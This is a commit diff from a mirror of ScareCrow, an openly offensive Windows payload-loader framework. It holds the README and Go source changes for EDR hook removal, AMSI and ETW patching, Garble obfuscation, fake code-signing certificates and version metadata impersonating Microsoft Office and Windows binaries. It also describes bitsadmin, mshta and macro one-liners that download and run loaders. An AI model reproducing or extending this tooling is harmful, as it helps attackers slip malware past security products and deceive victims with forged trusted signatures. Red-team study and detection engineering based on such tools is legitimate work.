mirror of
https://github.com/Tylous/ScareCrow
synced 2026-06-08 12:46:12 +00:00
v4.0
This commit is contained in:
Tylous
+539
-387
File diff suppressed because it is too large
Load Diff
@@ -15,7 +15,9 @@ If you want to learn more about the techniques utilized in this framework please
|
||||
## Description
|
||||
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process's memory. This works because we know the EDR’s hooks are placed when a process is spawned. ScareCrow can target these DLLs and manipulate them in memory by using the API function VirtualProtect, which changes a section of a process’ memory permissions to a different value, specifically from Execute–Read to Read-Write-Execute.
|
||||
|
||||
When executed, ScareCrow will copy the bytes of the system DLLs stored on disk in `C:\Windows\System32\`. These DLLs are stored on disk “clean” of EDR hooks because they are used by the system to load an unaltered copy into a new process when it’s spawned. Since EDR’s only hook these processes in memory, they remain unaltered. ScareCrow does not copy the entire DLL file, instead only focuses on the .text section of the DLLs. This section of a DLL contains the executable assembly, and by doing this ScareCrow helps reduce the likelihood of detection as re-reading entire files can cause an EDR to detect that there is a modification to a system resource. The data is then copied into the right region of memory by using each function’s offset. Each function has an offset which denotes the exact number of bytes from the base address where they reside, providing the function’s location on the stack. To do this, ScareCrow changes the permissions of the .text region of memory using VirtualProtect. Even though this is a system DLL, since it has been loaded into our process (that we control), we can change the memory permissions without requiring elevated privileges.
|
||||
When executed, ScareCrow will copy the bytes of the system DLLs stored on disk in `C:\Windows\System32\`. These DLLs are stored on disk “clean” of EDR hooks because they are used by the system to load an unaltered copy into a new process when it’s spawned. Since EDR’s only hook these processes in memory, they remain unaltered. ScareCrow does not copy the entire DLL file, instead only focuses on the .text section of the DLLs. This section of a DLL contains the executable assembly, and by doing this ScareCrow helps reduce the likelihood of detection as re-reading entire files can cause an EDR to detect that there is a modification to a system resource. The data is then copied into the right region of memory by using each function’s offset. Each function has an offset which denotes the exact number of bytes from the base address where they reside, providing the function’s location on the stack.
|
||||
|
||||
To do this, ScareCrow changes the permissions of the .text region of memory using VirtualProtect. Even though this is a system DLL, since it has been loaded into our process (that we control), we can change the memory permissions without requiring elevated privileges.
|
||||
|
||||
Once these the hooks are removed, ScareCrow then utilizes custom System Calls to load and run shellcode in memory. ScareCrow does this even after the EDR hooks are removed to help avoid detection by non-userland, hook-based telemetry gathering tools such as Event Tracing for Windows (ETW) or other event logging mechanisms. These custom system calls are also used to perform the VirtualProtect call to remove the hooks placed by EDRs, described above, to avoid detection by any EDR’s anti-tamper controls. This is done by calling a custom version of the VirtualProtect syscall, NtProtectVirtualMemory. ScareCrow utilizes Golang to generate these loaders and then assembly for these custom syscall functions.
|
||||
|
||||
@@ -32,7 +34,7 @@ During the creation process of the loader, ScareCrow utilizes a library for blen
|
||||
Files that are signed with code signing certificates are often put under less scrutiny, making it easier to be executed without being challenged, as files signed by a trusted name are often less suspicious than others. Most antimalware products don’t have the time to validate and verify these certificates (now some do but typically the common vendor names are included in a whitelist). ScareCrow creates these certificates by using a go package version of the tool `limelighter` to create a pfx12 file. This package takes an inputted domain name, specified by the user, to create a code signing certificate for that domain. If needed, you can also use your own code signing certificate if you have one, using the valid command-line option.
|
||||
|
||||
#### OpSec Consideration:
|
||||
When signing the loader with microsoft.com, using them against WINDOWS DEFENDER products may not be as effective as they can validate the cert as it belongs to them. If you are using a loader against a windows product possibly use a different domain.
|
||||
When signing the loader with microsoft.com, using them against WINDOWS DEFENDER ATP products may not be as effective as they can validate the cert as it belongs to them. If you are using a loader against a windows product possibly use a different domain.
|
||||
* Spoof the attributes of the loader:
|
||||
This is done by using syso files which are a form of embedded resource files that when compiled along with our loader, will modify the attribute portions of our compiled code. Prior to generating a syso file, ScareCrow will generate a random file name (based on the loader type) to use. Once chosen, this file name will map to the associated attributes for that file name, ensuring that the right values are assigned.
|
||||
|
||||
@@ -69,6 +71,12 @@ Then build it
|
||||
```
|
||||
go build ScareCrow.go
|
||||
```
|
||||
In addition ScareCrow utlizes [Garble](https://github.com/burrowers/garble) for obfuscating all loaders.
|
||||
|
||||
Note: Several of the dependencies do not play well on Windows when compiling, because of this it is recommended to compile your loaders on OSX or Linux.
|
||||
|
||||
|
||||
|
||||
|
||||
## Help
|
||||
|
||||
@@ -99,19 +107,23 @@ Usage of ./ScareCrow:
|
||||
[*] wscript - Loads into WScript process using a JScript loader. (default "binary")
|
||||
-O string
|
||||
Name of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.
|
||||
-Sha256
|
||||
Provides the SHA256 value of the loaders (This is useful for tracking)
|
||||
-configfile string
|
||||
The path to a json based configuration file to generate custom file attributes. This will not use the default ones.
|
||||
-console
|
||||
Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
|
||||
-delivery string
|
||||
Generates a one-liner command to download and execute the payload remotely:
|
||||
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader (Compatible with Binary, Control, Excel and Wscript Loaders).
|
||||
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader (Compatible with Binary, Control, Excel, and Wscript Loaders).
|
||||
[*] hta - Generates a blank hta file containing the loader along with an MSHTA command to execute the loader remotely in the background (Compatible with Control and Excel Loaders).
|
||||
[*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel and Wscript Loaders)
|
||||
[*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel, and Wscript Loaders).
|
||||
-domain string
|
||||
The domain name to use for creating a fake code signing cert. (e.g. www.acme.com)
|
||||
-injection string
|
||||
Enables Process Injection Mode and specify the path to the process to create/inject into (use \ for the path).
|
||||
-noamsi
|
||||
Disables the AMSI patching that prevents AMSI BuffferScanner.
|
||||
-noetw
|
||||
Disables the ETW patching that prevents ETW events from being generated.
|
||||
-nosleep
|
||||
@@ -149,10 +161,14 @@ ScareCrow contains the ability to do process injection attacks. To avoid any hoo
|
||||
This option can be used with any of the loader options. To enable process injection, use the `-injection` command-line option along with the full path to the process you want to use to inject into. When putting the path in as an argument, it is important to either surround the full path with `""` or use double `\` for each directory in the path.
|
||||
|
||||
|
||||
## ETW Bypass
|
||||
ScareCrow contains the ability to patch ETW functions, preventing any event from being generated by the process. ETW utilizes built-in Syscalls to generate this telemetry. Since ETW is a native feature built into Windows, security products do not need to "hook" the ETW syscalls to gain the information. As a result, to prevent ETW, ScareCrow patches numerous ETW syscalls, flushing out the registers and returning the execution flow to the next instruction. Patching ETW is now default in all loaders, if you wish to not patch ETW use the `-noetw` command-line option to disable it in your loader.
|
||||
## AMSI & ETW Bypass
|
||||
ScareCrow contains the ability to patch AMSI (Antimalware Scan Interface) and ETW functions, preventing any event from being generated by the process.
|
||||
|
||||
Currently, this option only works for the parent process, if the `-injection` command-line option is used the primary process will patch ETW but the injected process will not.
|
||||
AMSI is a Windows native API that allows Windows Defender (or other antimalware products) to interface deep in the Windows operating system and provide enhanced protection, specifically around in-memory-based attacks. AMSI allows security products to better detect malicious indicators and help stop threats. Since AMSI is native to Windows products don't need to "hook" AMSI rather they load the nesscary DLL to in order to gain enahnced insight into the process. Because of this ScareCrow loads the AMSI.dll dll and then patches, to ensure that any results from the scanning interface come back clean. Patching AMSI is default in all loaders, if you wish to not patch AMSI use the `-noamsi` command-line option to disable it in your loader.
|
||||
|
||||
ETW utilizes built-in Syscalls to generate this telemetry. Since ETW is also a native feature built into Windows, security products do not need to "hook" the ETW syscalls to gain the information. As a result, to prevent ETW, ScareCrow patches numerous ETW syscalls, flushing out the registers and returning the execution flow to the next instruction. Patching ETW is now default in all loaders, if you wish to not patch ETW use the `-noetw` command-line option to disable it in your loader.
|
||||
|
||||
Currently, these options only work for the parent process, if the `-injection` command-line option is used the primary process will patch AMSI and ETW but the injected process
|
||||
|
||||
|
||||
## Delivery
|
||||
@@ -165,10 +181,15 @@ The deliver command line argument allows you to generate a command or string of
|
||||
While ScareCrow has an extensive list of file attributes, there are some circumstances where a custom (maybe environment-specific) set of attributes is required. To accommodate this, ScareCrow allows for the inputting of a JSON file containing attributes. Using the `-configfile` command-line option, ScareCrow will use these attributes and filename instead of the pre-existing ones in ScareCrow. The file `main.json` contains a sample template of what the JSON structure needs to be to properly work. Note whatever you use as the "InternalName" will be the file name.
|
||||
|
||||
|
||||
## Hash
|
||||
|
||||
Since ScareCrow creates unique loaders that can also be embedded in scripts or other files for delivery, ScareCrow has the ability to provide you the hashes of all artifacts, using the `-sha256`.
|
||||
|
||||
## To Do
|
||||
* Currently only supports x64 payloads
|
||||
* Some older versions of Window's OSes (i.e. Windows 7 or Windows 8.1), have issues reloading the systems DLLs, as a result a version check is built in to ensure stability
|
||||
* Patch ETW in Injected processes
|
||||
* Patch ETW and AMSI in Injected processes
|
||||
|
||||
## Credit
|
||||
* Special thanks to josephspurrier for his [repo](https://github.com/josephspurrier/goversioninfo)
|
||||
* Special thanks to mvdan for developing [Garble](https://github.com/burrowers/garble)
|
||||
|
||||
+30
-8
@@ -14,6 +14,7 @@ import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
@@ -28,7 +29,9 @@ type FlagOptions struct {
|
||||
valid string
|
||||
configfile string
|
||||
ProcessInjection string
|
||||
AMSI bool
|
||||
ETW bool
|
||||
Sha bool
|
||||
console bool
|
||||
refresher bool
|
||||
sandbox bool
|
||||
@@ -51,17 +54,19 @@ func options() *FlagOptions {
|
||||
CommandLoader := flag.String("delivery", "", `Generates a one-liner command to download and execute the payload remotely:
|
||||
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader (Compatible with Binary, Control, Excel, and Wscript Loaders).
|
||||
[*] hta - Generates a blank hta file containing the loader along with an MSHTA command to execute the loader remotely in the background (Compatible with Control and Excel Loaders).
|
||||
[*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel, and Wscript Loaders)`)
|
||||
[*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel, and Wscript Loaders).`)
|
||||
domain := flag.String("domain", "", "The domain name to use for creating a fake code signing cert. (e.g. www.acme.com) ")
|
||||
password := flag.String("password", "", "The password for code signing cert. Required when -valid is used.")
|
||||
AMSI := flag.Bool("noamsi", false, "Disables the AMSI patching that prevents AMSI BuffferScanner.")
|
||||
ETW := flag.Bool("noetw", false, "Disables the ETW patching that prevents ETW events from being generated.")
|
||||
Sha := flag.Bool("sha256", false, "Provides the SHA256 value of the loaders (This is useful for tracking)")
|
||||
ProcessInjection := flag.String("injection", "", "Enables Process Injection Mode and specify the path to the process to create/inject into (use \\ for the path).")
|
||||
configfile := flag.String("configfile", "", "The path to a json based configuration file to generate custom file attributes. This will not use the default ones.")
|
||||
valid := flag.String("valid", "", "The path to a valid code signing cert. Used instead -domain if a valid code signing cert is desired.")
|
||||
sandbox := flag.Bool("sandbox", false, `Enables sandbox evasion using IsDomainedJoined calls.`)
|
||||
sleep := flag.Bool("nosleep", false, `Disables the sleep delay before the loader unhooks and executes the shellcode.`)
|
||||
flag.Parse()
|
||||
return &FlagOptions{outFile: *outFile, inputFile: *inputFile, URL: *URL, LoaderType: *LoaderType, CommandLoader: *CommandLoader, domain: *domain, password: *password, configfile: *configfile, console: *console, ETW: *ETW, ProcessInjection: *ProcessInjection, refresher: *refresher, valid: *valid, sandbox: *sandbox, sleep: *sleep}
|
||||
return &FlagOptions{outFile: *outFile, inputFile: *inputFile, URL: *URL, LoaderType: *LoaderType, CommandLoader: *CommandLoader, domain: *domain, password: *password, configfile: *configfile, console: *console, AMSI: *AMSI, ETW: *ETW, Sha: *Sha, ProcessInjection: *ProcessInjection, refresher: *refresher, valid: *valid, sandbox: *sandbox, sleep: *sleep}
|
||||
}
|
||||
|
||||
func execute(opt *FlagOptions, name string) string {
|
||||
@@ -80,9 +85,14 @@ func execute(opt *FlagOptions, name string) string {
|
||||
name = limelighter.FileProperties(name, opt.configfile)
|
||||
}
|
||||
if opt.LoaderType == "binary" {
|
||||
cmd = exec.Command(bin, "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "go", "build", "-a", "-trimpath", "-ldflags", "-w -s -buildid=", "-o", ""+name+".exe")
|
||||
cmd = exec.Command(bin, "GOOS=windows", "GOARCH=amd64", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-seed=random", "build", "-a", "-trimpath", "-ldflags", "-w -s -buildid=", "-o", ""+name+".exe")
|
||||
|
||||
} else {
|
||||
cmd = exec.Command(bin, "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "go", "build", "-a", "-trimpath", "-ldflags", "-w -s -buildid=", "-o", ""+name+".dll", "-buildmode=c-shared")
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-seed=random", "build", "-a", "-trimpath", "-ldflags=-extldflags=-Wl,"+cwd+"/"+name+".exp -w -s -buildid=", "-o", ""+name+".dll", "-buildmode=c-shared")
|
||||
}
|
||||
fmt.Println("[*] Compiling Payload")
|
||||
var out bytes.Buffer
|
||||
@@ -101,6 +111,9 @@ func execute(opt *FlagOptions, name string) string {
|
||||
|
||||
fmt.Println("[+] Payload Compiled")
|
||||
limelighter.Signer(opt.domain, opt.password, opt.valid, compiledname)
|
||||
if opt.Sha == true {
|
||||
Utils.Sha256(compiledname)
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
@@ -147,6 +160,10 @@ func main() {
|
||||
fmt.Println("[!] -O not needed. This loader type uses the name of the file they are spoofing")
|
||||
}
|
||||
|
||||
if opt.outFile == "" && (opt.LoaderType == "wscript" || opt.LoaderType == "excel") {
|
||||
log.Fatal("Error: -O is needed for these types of loaders")
|
||||
}
|
||||
|
||||
if opt.LoaderType == "binary" && opt.refresher == true {
|
||||
log.Fatal("Error: Can not use the unmodified option with a binary loader")
|
||||
}
|
||||
@@ -167,10 +184,15 @@ func main() {
|
||||
log.Fatal("Error: Please provide a password for the valid code signing certificate")
|
||||
}
|
||||
|
||||
if opt.ProcessInjection != "" && opt.ETW == true {
|
||||
fmt.Println("[!] Currently ETW patching only affects the parent process not the injected process")
|
||||
if opt.ProcessInjection != "" && (opt.ETW == true || opt.AMSI == true) {
|
||||
fmt.Println("[!] Currently ETW and AMSI patching only affects the parent process not the injected process")
|
||||
}
|
||||
|
||||
if opt.ProcessInjection != "" && opt.refresher == true {
|
||||
log.Fatal("Error: Can not use the unmodified option with the process injection loaders")
|
||||
}
|
||||
|
||||
Utils.CheckGarble()
|
||||
var rawbyte []byte
|
||||
src, _ := ioutil.ReadFile(opt.inputFile)
|
||||
dst := make([]byte, hex.EncodedLen(len(src)))
|
||||
@@ -196,8 +218,8 @@ func main() {
|
||||
b64key := base64.StdEncoding.EncodeToString(key)
|
||||
b64iv := base64.StdEncoding.EncodeToString(iv)
|
||||
fmt.Println("[+] Shellcode Encrypted")
|
||||
name, filename := Loader.CompileFile(b64ciphertext, b64key, b64iv, opt.LoaderType, opt.outFile, opt.refresher, opt.console, opt.sandbox, opt.ETW, opt.ProcessInjection, opt.sleep)
|
||||
name, filename := Loader.CompileFile(b64ciphertext, b64key, b64iv, opt.LoaderType, opt.outFile, opt.refresher, opt.console, opt.sandbox, opt.ETW, opt.ProcessInjection, opt.sleep, opt.AMSI)
|
||||
name = execute(opt, name)
|
||||
Loader.CompileLoader(opt.LoaderType, opt.outFile, filename, name, opt.CommandLoader, opt.URL, opt.sandbox)
|
||||
Loader.CompileLoader(opt.LoaderType, opt.outFile, filename, name, opt.CommandLoader, opt.URL, opt.sandbox, opt.Sha)
|
||||
|
||||
}
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 184 KiB After Width: | Height: | Size: 182 KiB |
+291
-607
File diff suppressed because it is too large
Load Diff
+80
-3
File diff suppressed because one or more lines are too long
@@ -11,5 +11,5 @@ require (
|
||||
github.com/akavel/rsrc v0.10.2 // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-isatty v0.0.12 // indirect
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae // indirect
|
||||
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27 // indirect
|
||||
)
|
||||
|
||||
@@ -16,8 +16,9 @@ github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+
|
||||
github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae h1:/WDfKMnPU+m5M4xB+6x4kaepxRw6jWvR5iDRdvjHgy8=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27 h1:XDXtA5hveEEV8JB2l7nhMTp3t3cHp9ZpwcdjqyEWLlo=
|
||||
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
|
||||
+18
-17
@@ -337,8 +337,10 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "tcpmon.dll.mui"
|
||||
}
|
||||
if name == "OneNote" {
|
||||
vi.IconPath = "onenote.ico"
|
||||
vi.StringFileInfo.InternalName = "OneNote"
|
||||
vi.StringFileInfo.FileDescription = "Microsoft OneNote"
|
||||
vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
|
||||
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
|
||||
vi.StringFileInfo.OriginalFilename = "OneNote.exe"
|
||||
vi.StringFileInfo.ProductName = "Microsoft OneNote"
|
||||
@@ -349,23 +351,11 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.FixedFileInfo.FileVersion.Build = 20404
|
||||
vi.StringFileInfo.InternalName = "OneNote"
|
||||
}
|
||||
if name == "Notepad" {
|
||||
vi.StringFileInfo.InternalName = "Notepad"
|
||||
vi.StringFileInfo.FileDescription = "Microsoft OneNote"
|
||||
vi.StringFileInfo.FileVersion = "10.0.19041.1"
|
||||
vi.StringFileInfo.OriginalFilename = "Notepad.exe"
|
||||
vi.StringFileInfo.ProductName = "Microsoft Notepad"
|
||||
vi.StringFileInfo.ProductVersion = "10.0.19041.1"
|
||||
vi.FixedFileInfo.FileVersion.Major = 10
|
||||
vi.FixedFileInfo.FileVersion.Minor = 0
|
||||
vi.FixedFileInfo.FileVersion.Patch = 19041
|
||||
vi.FixedFileInfo.FileVersion.Build = 1080
|
||||
vi.StringFileInfo.InternalName = "Notepad"
|
||||
}
|
||||
|
||||
if name == "Excel" {
|
||||
vi.IconPath = "excel.ico"
|
||||
vi.StringFileInfo.InternalName = "Excel"
|
||||
vi.StringFileInfo.FileDescription = "Microsoft Excel"
|
||||
vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
|
||||
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
|
||||
vi.StringFileInfo.OriginalFilename = "Excel.exe"
|
||||
vi.StringFileInfo.ProductName = "Microsoft Office"
|
||||
@@ -377,7 +367,9 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Excel"
|
||||
}
|
||||
if name == "Word" {
|
||||
vi.IconPath = "word.ico"
|
||||
vi.StringFileInfo.InternalName = "Word"
|
||||
vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
|
||||
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
|
||||
vi.StringFileInfo.OriginalFilename = "Word.exe"
|
||||
vi.StringFileInfo.ProductName = "Microsoft Office"
|
||||
@@ -389,8 +381,9 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Word"
|
||||
}
|
||||
if name == "Powerpnt" {
|
||||
vi.StringFileInfo.InternalName = "Powerpnt"
|
||||
vi.IconPath = "powerpoint.ico"
|
||||
vi.StringFileInfo.FileDescription = "Microsoft PowerPoint"
|
||||
vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
|
||||
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
|
||||
vi.StringFileInfo.OriginalFilename = "Powerpnt.exe"
|
||||
vi.StringFileInfo.ProductName = "Microsoft Office"
|
||||
@@ -402,8 +395,10 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Powerpnt"
|
||||
}
|
||||
if name == "Outlook" {
|
||||
vi.IconPath = "outlook.ico"
|
||||
vi.StringFileInfo.InternalName = "Outlook"
|
||||
vi.StringFileInfo.FileDescription = "Microsoft Outlook"
|
||||
vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
|
||||
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
|
||||
vi.StringFileInfo.OriginalFilename = "Outlook.exe"
|
||||
vi.StringFileInfo.ProductName = "Microsoft Office"
|
||||
@@ -415,8 +410,10 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Outlook"
|
||||
}
|
||||
if name == "lync" {
|
||||
vi.IconPath = "lync.ico"
|
||||
vi.StringFileInfo.InternalName = "Lync"
|
||||
vi.StringFileInfo.FileDescription = "Skype for Business"
|
||||
vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
|
||||
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
|
||||
vi.StringFileInfo.OriginalFilename = "Lync.exe"
|
||||
vi.StringFileInfo.ProductName = "Microsoft Office"
|
||||
@@ -428,8 +425,10 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Lync"
|
||||
}
|
||||
if name == "cmd" {
|
||||
vi.IconPath = "cmd.ico"
|
||||
vi.StringFileInfo.InternalName = "Cmd.exe"
|
||||
vi.StringFileInfo.FileDescription = "Windows Command Processor"
|
||||
vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
|
||||
vi.StringFileInfo.FileVersion = "10.0.19041.1 (WinBuild.160101.0800)"
|
||||
vi.StringFileInfo.OriginalFilename = "Cmd.exe"
|
||||
vi.StringFileInfo.ProductName = "Microsoft® Windows® Operating System"
|
||||
@@ -441,8 +440,10 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Cmd.exe"
|
||||
}
|
||||
if name == "OneDrive" {
|
||||
vi.IconPath = "onedrive.ico"
|
||||
vi.StringFileInfo.InternalName = "OneDrive.exe"
|
||||
vi.StringFileInfo.FileDescription = "Microsoft OneDrive"
|
||||
vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
|
||||
vi.StringFileInfo.FileVersion = "21.170.0822.0002"
|
||||
vi.StringFileInfo.OriginalFilename = "OneDrive.exe"
|
||||
vi.StringFileInfo.ProductName = "Microsoft® Windows® Operating System"
|
||||
@@ -1161,8 +1162,8 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "Appwiz.xll"
|
||||
}
|
||||
}
|
||||
vi.VarFileInfo.Translation.LangID = goversioninfo.LangID(1033)
|
||||
vi.VarFileInfo.Translation.CharsetID = goversioninfo.CharsetID(1200)
|
||||
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
|
||||
vi.Build()
|
||||
vi.Walk()
|
||||
|
||||
Reference in New Issue
Block a user